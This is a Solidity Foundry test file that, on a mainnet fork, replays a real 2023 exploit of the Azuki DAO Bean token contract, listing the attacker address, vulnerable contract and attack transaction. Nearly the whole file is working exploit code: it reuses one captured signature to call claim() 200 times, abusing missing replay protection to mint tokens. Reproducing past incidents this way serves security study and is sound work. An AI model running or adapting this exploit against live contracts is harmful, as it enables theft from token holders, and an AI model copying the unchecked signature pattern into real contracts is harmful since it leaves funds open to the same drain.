src/test/2023-07/AzukiDAO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$69K
8// Attacker : https://etherscan.io/address/0x85d231c204b82915c909a05847cca8557164c75e
9// Vulnerable Contract : https://etherscan.io/address/0x8189afbe7b0e81dae735ef027cd31371b3974feb
10// Attack Tx : https://etherscan.io/tx/0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34
11 
12// @Analysis
13// https://twitter.com/sharkteamorg/status/1676892088930271232
14 
15interface IBean is IERC20 {
16    function claim(
17        address[] memory _contracts,
18        uint256[] memory _amounts,
19        uint256[] memory _tokenIds,
20        uint256 _claimAmount,
21        uint256 _endTime,
22        bytes memory _signature
23    ) external;
24}
25 
26contract AzukiTest is Test {
27    IERC20 AZUKI = IERC20(0xED5AF388653567Af2F388E6224dC7C4b3241C544);
28    IBean Bean = IBean(0x8189AFBE7b0e81daE735EF027cd31371b3974FeB);
29    address private constant Elemental = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;
30    address private constant Beanz = 0x306b1ea3ecdf94aB739F1910bbda052Ed4A9f949;
31    address private constant azukiDAOExploiter = 0x85D231C204B82915c909A05847CCa8557164c75e;
32 
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    function setUp() public {
36        cheats.createSelectFork("mainnet", 17_593_308);
37        cheats.label(address(AZUKI), "AZUKI");
38        cheats.label(address(Bean), "Bean");
39        cheats.label(Elemental, "Elemental");
40        cheats.label(Beanz, "Beanz");
41        cheats.label(azukiDAOExploiter, "Azuki DAO Exploiter");
42    }
43 
44    function testExploit() public {
45        deal(address(Bean), azukiDAOExploiter, 0);
46        emit log_named_decimal_uint(
47            "Attacker balance of Bean token before exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()
48        );
49        // Arguments for the claim() function calls
50        // Signature: sender + contracts + tokenIds + claimAmount + endTime
51        bytes32 r = 0xd044373fa377c3af4a854829176d14eebc23d96c342401b294f3491f0616559c;
52        bytes32 s = 0x341d0ad6bccd30ed1d09d1b778a4f91738d5105f3986c7e6de9f9df847c90c93;
53        uint8 v = 27;
54        bytes memory signature = abi.encodePacked(r, s, v);
55        assertEq(signature.length, 65);
56 
57        address[] memory contracts = new address[](3);
58        contracts[0] = address(AZUKI);
59        contracts[1] = Elemental;
60        contracts[2] = Beanz;
61        uint256[] memory amounts = new uint256[](3);
62        amounts[0] = 1;
63        amounts[1] = 0;
64        amounts[2] = 0;
65        uint256[] memory tokenIds = new uint256[](1);
66        tokenIds[0] = 3748;
67        vm.startPrank(azukiDAOExploiter);
68        // Call claim() 200 times with the same signature. Invalid signature check in Bean token contract.
69        // More iterations possible.
70        for (uint256 i; i < 200; ++i) {
71            Bean.claim(
72                contracts,
73                amounts,
74                tokenIds,
75                31_250 * 1e18,
76                1_688_142_867, // endTime. This value must be specific to the 'endTime' provided in the attack tx. Block.timestamp won't work here.
77                signature
78            );
79        }
80        vm.stopPrank();
81 
82        emit log_named_decimal_uint(
83            "Attacker balance of Bean token after exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()
84        );
85    }
86}